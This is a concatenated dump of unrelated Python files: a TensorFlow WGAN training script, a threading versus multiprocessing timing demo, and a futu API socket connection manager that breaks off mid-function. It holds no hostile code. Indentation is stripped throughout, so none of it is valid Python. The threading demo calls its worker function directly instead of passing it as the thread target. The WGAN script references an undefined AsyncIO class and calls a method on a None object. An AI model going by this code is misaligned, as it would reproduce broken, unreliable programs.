with tf.variable_scope(name):
w = tf.get_variable('w', [shape[1], output_dim], initializer=tf.random_normal_initializer(stddev=stddev))
if use_bias:
b = tf.get_variable('b', [output_dim], initializer=tf.constant_initializer(0.0))
mul = tf.matmul(i, w) + b
else:
mul = tf.matmul(i, w)
return mul
def batch_norm(i, epsilon=1e-5, momentum=0.9, train=True, name='batch_norm'):
return tf.contrib.layers.batch_norm(i, decay=momentum, updates_collections=None, epsilon=epsilon, scale=True,
is_training=train, scope=name)
def calc_conv_out_shape_same(size, stride):
return int(math.ceil(float(size) / float(stride)))
def save_images(output_name, images, swap_rgb=False):
m, h, w, c = images.shape
rows = int(math.ceil(math.sqrt(m)))
cols = rows
out_image = np.zeros((rows * h, cols * w, c))
for y in range(rows):
for x in range(cols):
offset = y * cols + x
if offset >= m:
continue
out_image[y * h:(y + 1) * h, x * w:(x + 1) * w, :] = images[offset]
if swap_rgb:
# swapping RGB channel
t = out_image.copy()[:, :, 0]
out_image[:, :, 0] = out_image[:, :, 2]
out_image[:, :, 2] = t
io.imsave(output_name, out_image)
class AsyncInput:
def __init__(self):
self._is_stop = False
self._thd = threading.Thread(target=self._cb)
self._thd.setDaemon(True)
self._thd.start()
def is_stop(self):
return self._is_stop
def _cb(self):
_ = input('')
self._is_stop = True
def set_exists(set_, item):
if type(item) == set:
return len(set_.intersection(item)) > 0
return len(set_.intersection({item})) > 0
class WGAN:
def __init__(self, training_set_path, batch_size=128, image_width=100, image_height=100, channel_count=3,
d_filter=64, g_filter=64, epochs=100, d_arch={'bn_first'}, g_arch={'bn_first'}, noise_dim=100,
d_adam_lr=0.0002, d_adam_b1=0.5, g_adam_lr=0.0002, g_adam_b1=0.5, dropout_rate=0.0,
test_generator_per_step=100, save_model_per_step=500, weight_dir='model', log_dir='log',
output_dir='output', sample_count=64, random_count=64, d_opt_runs_per_step=1, g_opt_runs_per_step=1):
self.training_set_path = training_set_path
self.image_width = image_width
self.image_height = image_height
self.channel_count = channel_count
self.d_filter = d_filter
self.d_arch = d_arch
self.g_filter = g_filter
self.g_arch = g_arch
self._step = 0
self._summary_dict = dict()
self.noise_dim = noise_dim
self.d_adam_lr = d_adam_lr
self.d_adam_beta1 = d_adam_b1
self.g_adam_lr = g_adam_lr
self.g_adam_beta1 = g_adam_b1
self.dropout_rate = dropout_rate
self.test_generator_per_step = test_generator_per_step
self.save_model_per_step = save_model_per_step
self.weight_dir = weight_dir
self.log_dir = log_dir
self.output_dir = output_dir
self.d_opt_runs_per_step = d_opt_runs_per_step
self.g_opt_runs_per_step = g_opt_runs_per_step
self.epochs = epochs
self.sample_count = sample_count
self.random_count = random_count
self.batch_size = batch_size
self._async_io = AsyncIO(training_set_path, batch_size)
# validation test for architecture string
if not set_exists(self.d_arch, {'selu', 'bn_first', 'bn_last', 'resnet'}):
raise ValueError('d_arch should be one of "selu", "bn_first", "bn_last" or "resnet"')
if not set_exists(self.g_arch, {'selu', 'bn_first', 'bn_last', 'resnet'}):
raise ValueError('g_arch should be one of "selu", "bn_first", "bn_last" or "resnet"')
# validation test for traning set path
if not os.path.exists(self.training_set_path):
raise ValueError('IO check: training set path not exists')
self._input_tensor = tf.placeholder(tf.float32, [None, self.image_height, self.image_width, self.channel_count],
name='discriminator/input')
self._noise_tensor = tf.placeholder(tf.float32, [None, self.noise_dim], name='generator/input')
self._dropout_tensor = tf.placeholder(tf.float32, name='dropout_rate')
self._d_logits = self._discriminator_model(self._input_tensor)
self._g = self._generator_model()
self._gan_logits = self._discriminator_model(self._g, reuse=True)
self.sampler = self._generator_model(reuse=True, train=False)
# generating the loss function
self._d_loss, self._g_loss = self._compile_loss()
self._t_vars = tf.trainable_variables()
self._d_vars = [var for var in self._t_vars if 'discriminator' in var.name]
self._g_vars = [var for var in self._t_vars if 'generator' in var.name]
self._d_opt = tf.train.AdamOptimizer(self.d_adam_lr, beta1=self.d_adam_beta1)\
.minimize(self._d_loss, var_list=self._d_vars, colocate_gradients_with_ops=True)
self._g_opt = tf.train.AdamOptimizer(self.g_adam_lr, beta1=self.g_adam_beta1)\
.minimize(self._g_loss, var_list=self._g_vars, colocate_gradients_with_ops=True)
tf.contrib.slim.model_analyzer.analyze_vars(self._t_vars, print_info=True)
# set the sample noise using the specified seed
np.random.seed(0)
self._sample_noise = np.random.uniform(-1.0, 1.0, size=[sample_count, noise_dim])
import time
t = int(time.time())
np.random.seed(t)
self._summary_dict['d_pred'] = \
tf.summary.histogram('d_pred', tf.reshape(tf.concat([self._d_logits, self._gan_logits], axis=0), [1, -1]))
self._summary_dict['g_pred'] = tf.summary.image('g_pred', self._g, max_outputs=random_count)
self._summary_dict['g_trace'] = tf.summary.image('g_trace', self._g, max_outputs=sample_count)
self._summary_dict['d_lr'] = tf.summary.scalar('d_lr', self.d_adam_lr)
self._summary_dict['d_beta1'] = tf.summary.scalar('d_beta1', self.d_adam_beta1)
self._summary_dict['g_lr'] = tf.summary.scalar('g_lr', self.g_adam_lr)
self._summary_dict['g_beta1'] = tf.summary.scalar('g_beta1', self.g_adam_beta1)
# starting the session
self._saver = tf.train.Saver()
self._sess = set_vram_growth()
tf.global_variables_initializer().run(session=self._sess)
# creating new directory
if not os.path.exists(self.log_dir):
os.mkdir(self.log_dir)
if not os.path.exists(self.weight_dir):
os.mkdir(self.weight_dir)
if not os.path.exists(self.output_dir):
os.mkdir(self.output_dir)
self._load_model(self.weight_dir)
if self._step == 0:
self._summary_writer = tf.summary.FileWriter(self.log_dir, self._sess.graph)
else:
self._summary_writer = tf.summary.FileWriter(self.log_dir)
def _discriminator_model(self, input_tensor, reuse=False):
with tf.variable_scope('discriminator') as scope:
if reuse:
scope.reuse_variables()
if set_exists(self.d_arch, 'selu'):
def forward(inputs, name, filters, use_bn=True, use_dropout=True):
inputs = conv2d(inputs, filters, name=name + '/conv2d')
if use_bn:
inputs = tf.nn.selu(inputs, name=name + '/selu')
if use_dropout:
inputs = tf.nn.dropout(inputs, self._dropout_tensor, name=name + '/dropout')
return inputs
elif set_exists(self.d_arch, 'bn_first'):
def forward(inputs, name, filters, use_bn=True, use_dropout=True):
inputs = conv2d(inputs, filters, name=name + '/conv2d')
if use_bn:
inputs = batch_norm(inputs, name=name + '/bn')
inputs = leaky_relu(inputs, name=name + '/lrelu')
if use_dropout:
inputs = tf.nn.dropout(inputs, self._dropout_tensor, name=name + '/dropout')
return inputs
elif set_exists(self.d_arch, 'bn_last'):
def forward(inputs, name, filters, use_bn=True, use_dropout=True):
inputs = conv2d(inputs, filters, name=name + '/conv2d')
inputs = leaky_relu(inputs, name=name + '/lrelu')
if use_dropout:
inputs = tf.nn.dropout(inputs, self._dropout_tensor, name=name + '/dropout')
if use_bn:
inputs = batch_norm(inputs, name=name + '/bn')
return inputs
elif set_exists(self.d_arch, 'resnet'):
def forward(inputs, name, filters):
input_a = batch_norm(inputs, name=name + '/bn_1')
input_a = tf.nn.relu(input_a, name=name + '/relu_1')
input_a = conv2d(input_a, input_a.get_shape().as_list()[-1], kernel_size=(3, 3),
strides=(1, 1), name=name + '/conv2d_1')
input_a = batch_norm(input_a, name=name + '/bn_2')
input_a = tf.nn.relu(input_a, name=name + '/relu_2')
input_a = conv2d(input_a, filters, kernel_size=(3, 3), strides=(1, 1), name=name + '/conv2d_2')
input_a = tf.nn.avg_pool(input_a, [1, 2, 2, 1], [1, 2, 2, 1], 'SAME', name=name + '/avgpool')
input_b = tf.nn.avg_pool(inputs, [1, 2, 2, 1], [1, 2, 2, 1], 'SAME', name=name + '/avgpool_sc')
if filters != input_b.get_shape().as_list()[-1]:
input_b = conv2d(input_b, filters, kernel_size=(1, 1), strides=(1, 1), name=name + '/conv2d_sc')
return input_a + input_b
else:
raise ValueError('Incorrect d_arch')
# layer 1, not applying bn, uses leaky relu only
if set_exists(self.d_arch, 'resnet'):
model = conv2d(input_tensor, self.d_filter, (3, 3), (1, 1), name='layer1/conv2d')
else:
model = forward(input_tensor, name='layer1', filters=self.d_filter, use_bn=False, use_dropout=False)
# layer 2 to 4
model = forward(model, name='layer2', filters=self.d_filter * 2)
model = forward(model, name='layer3', filters=self.d_filter * 4)
model = forward(model, name='layer4', filters=self.d_filter * 8)
if set_exists(self.d_arch, 'resnet'):
model = forward(model, name='layer6', filters=self.d_filter * 8)
model = tf.reshape(model, [tf.shape(model)[0], np.prod(model.get_shape().as_list()[1:])],
name='layer5/flatten')
model_logits = dense(model, 1, name='layer5/dense')
# model = tf.nn.sigmoid(model_logits, name='layer5/sigmoid')
return model_logits
def _generator_model(self, reuse=False, train=True):
with tf.variable_scope('generator') as scope:
if reuse:
scope.reuse_variables()
if set_exists(self.g_arch, 'selu'):
def forward(inputs, output_shape, name, use_deconv=True):
if use_deconv:
inputs = deconv2d(inputs, output_shape, name=name + '/deconv2d')
inputs = tf.nn.selu(inputs, name=name + '/selu')
inputs = tf.nn.dropout(inputs, self._dropout_tensor, name=name + '/dropout')
return inputs
elif set_exists(self.g_arch, 'bn_first'):
def forward(inputs, output_shape, name, use_deconv=True):
if use_deconv:
inputs = deconv2d(inputs, output_shape, name=name + '/deconv2d')
inputs = batch_norm(inputs, train=train, name=name + '/bn')
inputs = tf.nn.relu(inputs, name=name + '/relu')
inputs = tf.nn.dropout(inputs, self._dropout_tensor, name=name + '/dropout')
return inputs
elif set_exists(self.g_arch, 'bn_last'):
def forward(inputs, output_shape, name, use_deconv=True):
if use_deconv:
inputs = deconv2d(inputs, output_shape, name=name + '/deconv2d')
inputs = tf.nn.relu(inputs, name=name + '/relu')
inputs = tf.nn.dropout(inputs, self._dropout_tensor, name=name + '/dropout')
inputs = batch_norm(inputs, train=train, name=name + '/bn')
return inputs
elif set_exists(self.g_arch, 'resnet'):
def forward(inputs, output_shape, name, use_deconv=False):
_ = use_deconv # ignore this param
input_a = batch_norm(inputs, train=train, name=name + '/bn_1')
input_a = tf.nn.relu(input_a, name=name + '/relu_1')
input_a = tf.concat([input_a] * 4, axis=3, name=name + '/upsampling/concat')
input_a = tf.depth_to_space(input_a, 2, name=name + '/upsampling/depth_to_space')
input_a = conv2d(input_a, output_shape[-1], kernel_size=(3, 3),
strides=(1, 1), name=name + '/conv2d_1')
input_a = batch_norm(input_a, train=train, name=name + '/bn_2')
input_a = tf.nn.relu(input_a, name=name + '/relu_2')
input_a = conv2d(input_a, output_shape[-1], kernel_size=(3, 3),
strides=(1, 1), name=name + '/conv2d_2')
input_b = tf.concat([inputs] * 4, axis=3, name=name + '/upsampling/concat')
input_b = tf.depth_to_space(input_b, 2, name=name + '/upsampling/depth_to_space')
if output_shape[-1] != input_b.get_shape().as_list()[-1]:
input_b = conv2d(input_b, output_shape[-1], kernel_size=(1, 1),
strides=(1, 1), name=name + '/conv2d_sc')
output = input_a + input_b
actual_output_shape = output.get_shape().as_list()
if actual_output_shape[1:3] != output_shape[1:3]:
offset_h = (actual_output_shape[1] - output_shape[1]) // 2
offset_w = (actual_output_shape[2] - output_shape[2]) // 2
assert offset_h >= 0 and offset_w >= 0
output = output[:, offset_h: offset_h+output_shape[1], offset_w: offset_w+output_shape[2], :]
return output
else:
raise ValueError('Incorrect g_arch')
# fc layer
size_h = calc_conv_out_shape_same(self.image_height, 16)
size_w = calc_conv_out_shape_same(self.image_width, 16)
model = dense(self._noise_tensor, size_h * size_w * self.g_filter * 8, name='layer0/fc')
model = tf.reshape(model, [-1, size_h, size_w, self.g_filter * 8], name='layer0/reshape')
if not set_exists(self.g_arch, 'resnet'):
model = forward(model, [None, size_h, size_w, self.g_filter * 8], name='layer0', use_deconv=False)
# deconv1
size_h = calc_conv_out_shape_same(self.image_height, 8)
size_w = calc_conv_out_shape_same(self.image_width, 8)
if not set_exists(self.g_arch, 'resnet'):
model = forward(model, [None, size_h, size_w, self.g_filter * 4], name='layer1')
else:
model = forward(model, [None, size_h, size_w, self.g_filter * 8], name='layer0')
# deconv2
size_h = calc_conv_out_shape_same(self.image_height, 4)
size_w = calc_conv_out_shape_same(self.image_width, 4)
if not set_exists(self.g_arch, 'resnet'):
model = forward(model, [None, size_h, size_w, self.g_filter * 2], name='layer2')
else:
model = forward(model, [None, size_h, size_w, self.g_filter * 4], name='layer1')
# deconv3
size_h = calc_conv_out_shape_same(self.image_height, 2)
size_w = calc_conv_out_shape_same(self.image_width, 2)
if not set_exists(self.g_arch, 'resnet'):
model = forward(model, [None, size_h, size_w, self.g_filter], name='layer3')
else:
model = forward(model, [None, size_h, size_w, self.g_filter * 2], name='layer2')
# deconv4(output layer)
if not set_exists(self.g_arch, 'resnet'):
model = deconv2d(model, [None, self.image_height, self.image_width, self.channel_count],
name='layer4/deconv2d')
else:
model = forward(model, [None, self.image_height, self.image_width, self.g_filter], name='layer3')
model = batch_norm(model, train=train, name='layer4/bn')
model = tf.nn.relu(model, name='layer4/relu')
model = conv2d(model, self.channel_count, (3, 3), (1, 1), name='layer4/conv2d')
model = tf.nn.tanh(model, name='layer_output/tanh')
return model
def _compile_loss(self):
g_loss = -tf.reduce_mean(self._gan_logits)
d_loss = -tf.reduce_mean(self._d_logits) + tf.reduce_mean(self._gan_logits)
alpha = tf.random_uniform(shape=[tf.shape(self._d_logits)[0], 1, 1, 1], minval=0, maxval=1)
interpolates = alpha * self._input_tensor + (1 - alpha) * self._g
d_interpolates = self._discriminator_model(interpolates, True)
gradient = tf.gradients(d_interpolates, [interpolates])[0]
slopes = tf.sqrt(tf.reduce_sum(tf.square(gradient), reduction_indices=[1]))
gradient_penalty = tf.reduce_mean((slopes - 1) ** 2)
self._summary_dict['gp'] = tf.summary.scalar('gradient_penalty', gradient_penalty)
d_loss += 10 * gradient_penalty
self._summary_dict['d_loss'] = tf.summary.scalar('d_loss', d_loss) # test summary
self._summary_dict['g_loss'] = tf.summary.scalar('g_loss', g_loss)
return d_loss, g_loss
# this code is for saving the current weights of discriminator, generator model
def _save_model(self, fname):
self._saver.save(self._sess, fname + '/gan', global_step=self._step)
print('\nmodel saved, save step %d' % self._step)
# this code is for loading the saved weights of discriminator, generator model
def _load_model(self, fname):
ckpt = tf.train.get_checkpoint_state(fname)
if ckpt and ckpt.model_checkpoint_path:
self._saver.restore(self._sess, ckpt.model_checkpoint_path)
self._step = int(re.search(re.compile('\\d+$'), ckpt.model_checkpoint_path)[0])
print('\nmodel loaded, restore step %d' % self._step)
def train_model(self):
# samples of training set
m = self._async_io.get_sample_count()
# the epoch counter (from 0 every time)
i = 0
# the counter for d_opt runs
d_opt_has_ran = 0
if self.epochs <= 0:
stop_interrupter = AsyncInput()
print('Press "Enter" to exit')
else:
stop_interrupter = None
while True:
i += 1
if self.epochs <= 0:
# only works in windows with console window
if stop_interrupter.is_stop():
break
print('[Epoch %d]' % i)
else:
if i > self.epochs:
break
print('[Epoch %d of %d]' % (i, self.epochs))
# how many steps should be run per epoch
steps = int(math.ceil(m / self.batch_size))
for _ in tqdm(range(steps), ascii=True):
if stop_interrupter.is_stop():
break
self._step += 1
# summarize the learning rate
summary, summary2 = self._sess.run([self._summary_dict['d_lr'], self._summary_dict['d_beta1']])
self._summary_writer.add_summary(summary, self._step)
self._summary_writer.add_summary(summary2, self._step)
summary, summary2 = self._sess.run([self._summary_dict['g_lr'], self._summary_dict['g_beta1']])
self._summary_writer.add_summary(summary, self._step)
self._summary_writer.add_summary(summary2, self._step)
# the sample length of current step
images_real = self._async_io.wait_io()
length = images_real.shape[0]
noise = np.random.uniform(-1.0, 1.0, size=[length, self.noise_dim])
# training the discriminator
_, summary, summary2, summary3 = self._sess.run(
[self._d_opt, self._summary_dict['d_loss'],
self._summary_dict['d_pred'], self._summary_dict['gp']],
feed_dict={self._input_tensor: images_real, self._noise_tensor: noise,
self._dropout_tensor: 1.0 - self.dropout_rate})
self._summary_writer.add_summary(summary, self._step)
self._summary_writer.add_summary(summary2, self._step)
self._summary_writer.add_summary(summary3, self._step)
d_opt_has_ran += 1
# continue to train the discriminator if d_opt_runs_per_step > 1 (skips training the generator)
if d_opt_has_ran < self.d_opt_runs_per_step:
self._step -= 1
continue
d_opt_has_ran %= self.d_opt_runs_per_step
for _ in range(self.g_opt_runs_per_step):
_, summary = self._sess.run(
[self._g_opt, self._summary_dict['g_loss']],
feed_dict={self._noise_tensor: noise, self._dropout_tensor: 1.0 - self.dropout_rate})
self._summary_writer.add_summary(summary, self._step)
# testing generator
if self._step % self.test_generator_per_step == 0:
noise = np.random.uniform(-1.0, 1.0, size=[self.random_count, self.noise_dim])
img_pred, summary = self._sess.run(
[self.sampler, self._summary_dict['g_pred']],
feed_dict={self._noise_tensor: noise, self._dropout_tensor: 1.0})
self._summary_writer.add_summary(summary, self._step)
img_trace, summary = self._sess.run(
[self.sampler, self._summary_dict['g_trace']],
feed_dict={self._noise_tensor: self._sample_noise, self._dropout_tensor: 1.0})
self._summary_writer.add_summary(summary, self._step)
save_images(os.path.join(self.output_dir, 'pred_%d_steps.png' % self._step),
rescale_to_rgb(img_pred))
save_images(os.path.join(self.output_dir, 'trace_%d_steps.png' % self._step),
rescale_to_rgb(img_trace))
# saving weights
if self._step % self.save_model_per_step == 0:
self._save_model(self.weight_dir)
# end step for
# end epoch for
# save model after exiting training process
self._save_model(self.weight_dir)
def main():
# defining the output image shape for the generator
image_width = 100
image_height = 100
# defining the dimension of noise vector for the generator (also called z_dim)
noise_dim = 100
# defining the minimal filter size for g(generator) and d(discriminator)
# for the DCGAN paper, the filter size is [1024, 512, 256, 128] (except the last value 3), so set this value to 128
g_filter = 64
d_filter = 64
# defining the batch size for batch training
batch_size = 64
# defining the file path for loading the training set
training_set_path = 'animeface-np'
# defining the image color channel count (for default only, will be overwritten after loading the training set)
channel_count = 3
# defining the learning rate and momentum value for Adam optimizer
d_adam_lr = 0.0001
d_adam_beta1 = 0.5
g_adam_lr = 0.0001
g_adam_beta1 = 0.5
# defining the number used to generate the image during the training process
# `random_count` is used to generate images with random noise
# `sample_count` is used to generate images with fixed noise
random_count = 64
sample_count = 64
# defining the dropout rate for the learning process, set it to 0.0 to disable dropout layer
dropout_rate = 0.2
# defining how many training steps the generator should be tested
test_generator_per_step = 100
# defining how many training steps the weights should be saved
save_weights_per_step = 500
# defining how many times discriminator and generator optimizer should run in one training step
d_opt_runs_per_step = 5
g_opt_runs_per_step = 1
# defining the directory for storing model weights, the logs and generator outputs
weight_dir = 'model.test1'
log_dir = 'log.test1'
output_dir = 'output.test1'
# defining the architecture of D and G
# `selu` uses the SeLU activation function (Self-normalized Linear Unit), only followed by a dropout layer
# `bn_first` uses ReLU activation for G and LeakyReLU for D, ordered by (De)Conv2D -> BN -> Activation -> Dropout
# `bn_last` uses ReLU activation for G and LeakyReLU for G, ordered by (De)Conv2D -> Activation -> Dropout -> BN
# `resnet` uses residual block instead of a normal conv. block, performing jump connection
d_arch = {'bn_first'}
g_arch = {'bn_first'}
# epochs for training, set it to -1 if you want to exit the program by pressing `Enter`
epochs = -1
model = WGAN(training_set_path, batch_size, image_width, image_height, channel_count, d_filter, g_filter, epochs,
d_arch, g_arch, noise_dim, d_adam_lr, d_adam_beta1, g_adam_lr, g_adam_beta1, dropout_rate,
test_generator_per_step, save_weights_per_step, weight_dir, log_dir, output_dir, sample_count,
random_count, d_opt_runs_per_step, g_opt_runs_per_step)
model.train_model()
if __name__ == '__main__':
main()
|
thread_and_processes.py | import os
import time
import threading
import multiprocessing
import random
NUM_WORKERS = 10
size = 10000000
out_list = list()
def do_something(count, out_list):
for i in range(count):
out_list.append(random.random())
"""
#Serial
start_time = time.time()
for _ in range(NUM_WORKERS):
do_something(size,out_list)
end_time = time.time()
print("Serial time=", end_time - start_time)
"""
#MultiThreading
start_time = time.time()
jobs = []
for i in range(0, NUM_WORKERS):
thread = threading.Thread(target=do_something(size, out_list))
jobs.append(thread)
for j in jobs:
j.start()
for j in jobs:
j.join()
print ("List processing complete.")
end_time = time.time()
print("threading time=", end_time - start_time)
#MultiProcesses
start_time = time.time()
jobs = []
for i in range(0, NUM_WORKERS):
process = multiprocessing.Process\
(target=do_something,args=(size,out_list))
jobs.append(process)
for j in jobs:
j.start()
for j in jobs:
j.join()
print ("List processing complete.")
end_time = time.time()
print("processes time=", end_time - start_time)
|
network_manager.py | import errno
import datetime
import threading
from time import sleep
from futu.common.utils import *
from futu.quote.quote_query import parse_head
from .err import Err
from .sys_config import SysConfig
from .ft_logger import *
if IS_PY2:
import selectors2 as selectors
import Queue as queue
else:
import queue
import selectors
class ConnStatus:
Start = 0
Connecting = 1
Connected = 2
Closed = 3
class SyncReqRspInfo:
def __init__(self):
self.event = threading.Event()
self.ret = RET_OK
self.msg = ''
self.data = None
class Connection:
def __init__(self, conn_id, sock, addr, handler, is_encrypt):
self._conn_id = conn_id
self.opend_conn_id = 0
self.sock = sock
self.is_encrypt = is_encrypt
self.handler = handler
self._peer_addr = addr
self.status = ConnStatus.Start
self.keep_alive_interval = 10
self.last_keep_alive_time = datetime.now()
self.timeout = None
self.start_time = None
self.readbuf = bytearray()
self.writebuf = bytearray()
self.req_dict = {} # ProtoInfo -> req time
self.sync_req_dict = {} # ProtoInfo -> SyncReqRspInfo
@property
def conn_id(self):
return self._conn_id
@property
def peer_addr(self):
return self._peer_addr
def fileno(self):
return self.sock.fileno
def is_socket_exception_wouldblock(e):
has_errno = False
if IS_PY2:
if isinstance(e, IOError):
has_errno = True
else:
if isinstance(e, OSError):
has_errno = True
if has_errno:
if e.errno == errno.EWOULDBLOCK or e.errno == errno.EAGAIN or e.errno == errno.EINPROGRESS:
return True
return False
def make_ctrl_socks():
LOCAL_HOST = '127.0.0.1'
if IS_PY2:
svr_sock = []
lsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
def svr_sock_func():
try:
sock, _ = lsock.accept()
svr_sock.append(sock)
except Exception as e:
logger.warning('Ctrl sock fail: {}'.format(str(e)))
try:
lsock.bind((LOCAL_HOST, 0))
_, port = lsock.getsockname()[:2]
lsock.listen(1)
thread = threading.Thread(target=svr_sock_func)
thread.start()
client_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_sock.settimeout(0.1)
client_sock.connect((LOCAL_HOST, port))
thread.join()
return svr_sock[0], client_sock
except Exception as e:
logger.warning('Ctrl sock fail: {}'.format(str(e)))
return None, None
finally:
lsock.close()
else:
return socket.socketpair()
class NetManager:
_default_inst = None
_default_inst_lock = threading.Lock()
@classmethod
def default(cls):
with cls._default_inst_lock:
if cls._default_inst is None:
cls._default_inst = NetManager()
return cls._default_inst
def __init__(self):
self._use_count = 0
self._next_conn_id = 1
self._lock = threading.RLock()
self._mgr_lock = threading.Lock() # Used to control start and stop
self._create_all()
def _close_all(self):
for sel_key in list(self._selector.get_map().values()):
self._selector.unregister(sel_key.fileobj)
sel_key.fileobj.close()
self._selector.close()
self._selector = None
if self._r_sock:
self._r_sock.close()
self._r_sock = None
if self._w_sock:
self._w_sock.close()
self._w_sock = None
def _create_all(self):
self._selector = selectors.DefaultSelector()
self._req_queue = queue.Queue()
self._sync_req_timeout = 12
self._thread = None
now = datetime.now()
self._last_activate_time = now
self._last_check_req_time = now
self._r_sock, self._w_sock = make_ctrl_socks()
self._selector.register(self._r_sock, selectors.EVENT_READ)
def connect(self, addr, handler, timeout, is_encrypt):
with self._lock:
conn_id = self._next_conn_id
self._next_conn_id += 1
def work():
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 1024 * 1024)
conn = Connection(conn_id, sock, addr, handler, is_encrypt)
conn.status = ConnStatus.Connecting
conn.start_time = datetime.now()
conn.timeout = timeout
sock.setblocking(False)
self._selector.register(sock, selectors.EVENT_READ | selectors.EVENT_WRITE, conn)
try:
sock.connect(addr)
except Exception as e:
if not is_socket_exception_wouldblock(e):
conn.handler.on_error(conn.conn_id, str(e))
self.close(conn.conn_id)
return RET_ERROR, str(e), 0
return RET_OK, '', conn_id
self._req_queue.put(work)
self._w_sock.send(b'1')
return RET_OK, '', conn_id
def poll(self):
now = datetime.now()
events = self._selector.select(0.02)
for key, evt_mask in events:
if key.fileobj == self._r_sock:
self._r_sock.recv(1024)
while True:
try:
work = self._req_queue.get(block=False)
work()
except queue.Empty:
break
continue
conn = key.data
if evt_mask & selectors.EVENT_WRITE != 0:
self._on_write(conn)
if evt_mask & selectors.EVENT_READ != 0:
self._on_read(conn)
activate_elapsed_time = now - self._last_activate_time
check_req_elapsed_time = now - self._last_check_req_time
is_activate = activate_elapsed_time.total_seconds() >= 0.05
is_check_req = check_req_elapsed_time.total_seconds() >= 0.1
if is_activate or is_check_req:
for key in list(self._selector.get_map().values()):
if key.fileobj == self._r_sock:
continue
conn = key.data
if conn.status == ConnStatus.Connecting:
if is_activate:
self._check_connect_timeout(conn, now)
elif conn.status == ConnStatus.Connected:
if is_activate:
conn.handler.on_activate(conn.conn_id, now)
if is_check_req:
self._check_req(conn, now)
if is_activate:
self._last_activate_time = now
if is_check_req:
self._last_check_req_time = now
def _check_connect_timeout(self, conn, now):
time_delta = now - conn.start_time
if conn.timeout is not None and conn.timeout > 0 and time_delta.total_seconds() >= conn.timeout:
self._on_connect_timeout(conn)
def _check_req(self, conn, now):
"""
:param conn:
:type conn: Connection
:param now:
:type now: datetime
:return:
"""
req_dict = dict(conn.req_dict.items())
for proto_info, req_time in req_dict.items(): # type: ProtoInfo, datetime
elapsed_time = now - req_time
if elapsed_time.total_seconds() >= self._sync_req_timeout:
self._on_packet(conn, proto_info._asdict(), Err.Timeout.code, Err.Timeout.text, None)
def _thread_func(self):
while True:
with self._lock:
if not self.is_alive():
self._thread = None
break
self.poll()
def start(self):
"""
Should be called from main thread
:return:
"""
with self._mgr_lock:
with self._lock:
self._use_count += 1
if self._thread is None:
self._create_all()
self._thread = threading.Thread(target=self._thread_func)
self._thread.setDaemon(SysConfig.get_all_thread_daemon())
self._thread.start()
def stop(self):
with self._mgr_lock:
with self._lock:
self._use_count = max(self._use_count - 1, 0)
def is_alive(self):
with self._lock:
return self._use_count > 0
def do_send(self, conn_id, proto_info, data):
logger.debug2(FTLog.ONLY_FILE, 'Send: conn_id={}; proto_id={}; serial_no={}; total_len={};'.format(conn_id, proto_info.proto_id,
proto_info.serial_no,
len(data)))
now = datetime.now()
ret_code = RET_OK
msg = ''
conn = self._get_conn(conn_id) # type: Connection
sync_req_rsp = None
if not conn:
logger.debug(
FTLog.make_log_msg('Send fail', conn_id=conn_id, proto_id=proto_info.proto_id, serial_no=proto_info.serial_no,
msg=Err.ConnectionLost.text))
ret_code, msg = RET_ERROR, Err.ConnectionLost.text
else:
sync_req_rsp = conn.sync_req_dict.get(proto_info, None)
if ret_code != RET_OK:
return ret_code, msg
if conn.status != ConnStatus.Connected:
ret_code, msg = RET_ERROR, Err.NotConnected.text
if ret_code != RET_OK:
logger.warning(FTLog.make_log_msg('Send fail', proto_id=proto_info.proto_id, serial_no=proto_info.serial_no,
conn_id=conn_id, msg=msg))
if sync_req_rsp:
sync_req_rsp.ret, sync_req_rsp.msg = RET_ERROR, msg
sync_req_rsp.event.set()
return ret_code, msg
conn.req_dict[proto_info] = now
size = 0
try:
if len(conn.writebuf) > 0:
conn.writebuf.extend(data)
else:
size = conn.sock.send(data)
except Exception as e:
if is_socket_exception_wouldblock(e):
pass
else:
ret_code, msg = RET_ERROR, str(e)
if size > 0 and size < len(data):
conn.writebuf.extend(data[size:])
self._watch_write(conn, True)
if ret_code != RET_OK:
logger.warning(FTLog.make_log_msg('Send error', conn_id=conn_id, msg=msg))
if sync_req_rsp:
sync_req_rsp.ret, sync_req_rsp.msg = RET_ERROR, msg
sync_req_rsp.event.set()
return ret_code, msg
return RET_OK, ''
def send(self, conn_id, data):
"""
:param conn_id:
:param data:
:return:
"""
proto_info = self._parse_req_head_proto_info(data)
def work():
self.do_send(conn_id, proto_info, data)
self._req_queue.put(work)
self._w_sock.send(b'1')
return RET_OK, None
def close(self, conn_id):
def work():
conn = self._get_conn(conn_id) # type: Connection
if not conn:
return
if conn.sock is None:
return
self._watch_read(conn, False)
self._watch_write(conn, False)
conn.sock.close()
conn.sock = None
conn.status = ConnStatus.Closed
for proto_info, sync_req_rsp in conn.sync_req_dict.items(): # type: ProtoInfo, SyncReqRspInfo
sync_req_rsp.ret = RET_ERROR
sync_req_rsp.msg = Err.ConnectionClosed.text
sync_req_rsp.event.set()
logger.info("Close: conn_id={}".format(conn_id))
self._req_queue.put(work)
self._w_sock.send(b'1')
def _watch_read(self, conn, is_watch):
try:
sel_key = self._selector.get_key(conn.sock)
except KeyError:
return
if is_watch:
new_event = sel_key.events | selectors.EVENT_READ
else:
new_event = sel_key.events & (~selectors.EVENT_READ)
if new_event != 0:
self._selector.modify(conn.sock, new_event, conn)
else:
self._selector.unregister(conn.sock)
def _watch_write(self, conn, is_watch):
try:
sel_key = self._selector.get_key(conn.sock)
except KeyError:
return
if is_watch:
new_event = sel_key.events | selectors.EVENT_WRITE
else:
new_event = sel_key.events & (~selectors.EVENT_WRITE)
if new_event != 0:
self._selector.modify(conn.sock, new_event, conn)
else:
self._selector.unregister(conn.sock)
def sync_query(self, conn_id, req_str):
head_dict = self._parse_req_head(req_str)
proto_info = ProtoInfo(head_dict['proto_id'], head_dict['serial_no'])
rsp_info = SyncReqRspInfo()
def work():
conn = self._get_conn(conn_id) # type: Connection
ret, msg = RET_OK, ''
if not conn:
ret = RET_ERROR
msg = Err.ConnectionLost.text
else:
conn.sync_req_dict[proto_info] = rsp_info
self.do_send(conn_id, proto_info, req_str)
if ret != RET_OK:
rsp_info.ret = ret
rsp_info.msg = msg
rsp_info.event.set()
self._req_queue.put(work)
self._w_sock.send(b'1')
rsp_info.event.wait()
return rsp_info.ret, rsp_info.msg, rsp_info.data
def _parse_req_head(self, req_str):
